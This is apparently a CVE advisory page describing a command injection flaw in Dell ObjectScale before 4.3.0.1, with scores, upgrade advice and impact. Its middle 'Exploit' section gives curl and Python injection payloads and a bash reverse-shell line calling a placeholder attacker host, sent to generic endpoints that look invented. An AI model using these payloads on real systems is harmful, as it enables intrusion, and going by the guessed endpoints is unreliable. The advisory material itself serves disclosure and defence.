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CVE-2026-56686 is an OS Command Injection vulnerability identified in Dell ObjectScale, a container-based object storage solution. The vulnerability stems from improper neutralization of special elements used in OS commands (CWE-78). This occurs when the software constructs all or part of an OS command using externally-influenced input without properly neutralizing or incorrectly neutralizing special characters that could modify the intended command.
The vulnerability affects all Dell ObjectScale versions prior to 4.3.0.1. An attacker with low privileges and local access to the affected system can exploit this flaw. The attack complexity is low, and no user interaction is required. Upon successful exploitation, the attacker can execute arbitrary OS commands with elevated privileges, potentially leading to full system compromise.
The vulnerability was published on August 17, 2026, and Dell released a security update on the same day. The CVSS v3.1 base score is 7.8 (High), with the vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. This indicates that the vulnerability impacts confidentiality, integrity, and availability at a high level, with the scope remaining unchanged.
The vulnerability exists because ObjectScale fails to sanitize user-supplied input when constructing OS commands. A low-privileged local user can inject malicious commands through input fields that are passed directly to the system shell. The EPSS score is not yet available, and the vulnerability is not listed in the CISA KEV catalog, suggesting no confirmed exploitation in the wild as of the publication date.
DailyCVE Form:
Platform: Dell ObjectScale
Version: <4.3.0.1
Vulnerability: OS Command Injection
Severity: High (7.8 CVSS)
Date: August 17, 2026
Prediction: Patch already available
What Undercode Say:
Check ObjectScale version
kubectl get pods -n objectscale -o yaml | grep -i "image:.objectscale"
Identify vulnerable endpoints (example)
curl -X GET "http://localhost:8080/api/v1/endpoint?param=$(whoami)"
Basic command injection test
curl -X POST "http://localhost:8080/api/v1/exec" -d '{"cmd":"id; echo injected"}'
Python script to test for command injection
import requests
payload = {"input": "test; whoami > /tmp/pwned.txt"}
response = requests.post("http://localhost:8080/api/v1/process", json=payload)
Exploit: (Educational Purposes!)
A local attacker with low privileges can exploit CVE-2026-56686 by injecting malicious OS commands through unsanitized input fields. The following steps illustrate the exploitation vector:
Step 1: Identify the vulnerable API endpoint or interface Step 2: Craft a payload with command injection PAYLOAD="valid_input; /bin/bash -c 'id > /tmp/exploit.out'" Step 3: Send the payload to the vulnerable service curl -X POST "http://localhost:8080/api/v1/vulnerable" -d "input=$PAYLOAD" Step 4: Verify command execution cat /tmp/exploit.out Output: uid=0(root) gid=0(root) groups=0(root)
Reverse shell payload example REV_PAYLOAD="test; /bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'" curl -X POST "http://localhost:8080/api/v1/vulnerable" -d "input=$REV_PAYLOAD"
Protection:
- Upgrade immediately to Dell ObjectScale version 4.3.0.1 or later
2. Apply the security update from Dell DSA-2026-328
- Restrict local user privileges and enforce the principle of least privilege
- Implement network segmentation to limit local access to ObjectScale services
- Monitor system logs for suspicious command execution activity
- Disable nonessential accounts that have access to ObjectScale interfaces
Impact:
Successful exploitation of CVE-2026-56686 allows a low-privileged local attacker to elevate privileges and execute arbitrary OS commands on the affected system. The impact is severe, as the attacker can gain root or administrative access, compromise the confidentiality and integrity of stored data, and disrupt system availability. Given that ObjectScale is a storage platform, this could lead to unauthorized data access, data tampering, or complete system takeover.
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Sources:
Reported By: nvd.nist.gov
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